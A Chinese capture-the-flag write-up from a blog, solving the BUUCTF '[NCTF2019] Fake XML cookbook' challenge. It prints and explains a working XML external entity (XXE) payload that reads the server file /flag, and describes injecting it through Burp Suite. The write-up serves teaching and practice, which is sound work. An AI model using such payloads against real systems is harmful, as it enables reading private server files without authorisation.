欢迎光临
我们一直在努力

BUUCTF——[NCTF2019]Fake XML cookbook解题记录

题目场景:

#解题

先正常输入一个账号密码看看。

再来个SQL注入看看有没有啥不同。

结论是:没啥不同。

不折腾了,回头看一眼题目叫Fake XML cookbook,关键信息XML。

XXE漏洞(XML外部实体注入)

XML是可扩展标记语言,核心用途是传输、描述数据,标签可以自定义。

XXE漏洞是指利用外部实体引用读取服务器文件。

XXE读取文件代码示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>&xxe;</username>
<password>123456</password>
</user>

第一部分:XML声明

<?xml version="1.0" encoding="UTF-8"?>

<?xml … ?> :XML的专属声明格式,必须以这个开头。

version="1.0" :XML的版本。

encoding="UTF-8" :字符编码。

第二部分:DOCTYPE实体定义

<!DOCTYPE user[
        <!ENTITY xxe SYSTEM "file:///flag">
]>

<!DOCTYPE 根标签名> :定义XML的文档类型。

<!ENTITY 实体名 类型 "目标地址"> :xxe是给变量起的名字,SYSTEM表示引用外部资源,"file:///flag"表示要读取的服务器文件路径。

第三部分:XML根标签

<user>
        …
</user>

根标签需要和网站后端代码的标签保持一致。

第四部分:引用实体

<username>&xxe;</username>
<password>123456</password>

$xxe; :引用前面定义的xxe实体。

这题我们打开burp suite抓个包。

注意:这里可以看到,根标签就是<user></user>。

把数据包中原XML代码替换为恶意的XXE代码,如下图。

放包,页面回显:

Congratulations!

【个人理解,如有不妥,欢迎交流指正。】

赞(0)
未经允许不得转载:171主机测评 » BUUCTF——[NCTF2019]Fake XML cookbook解题记录
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址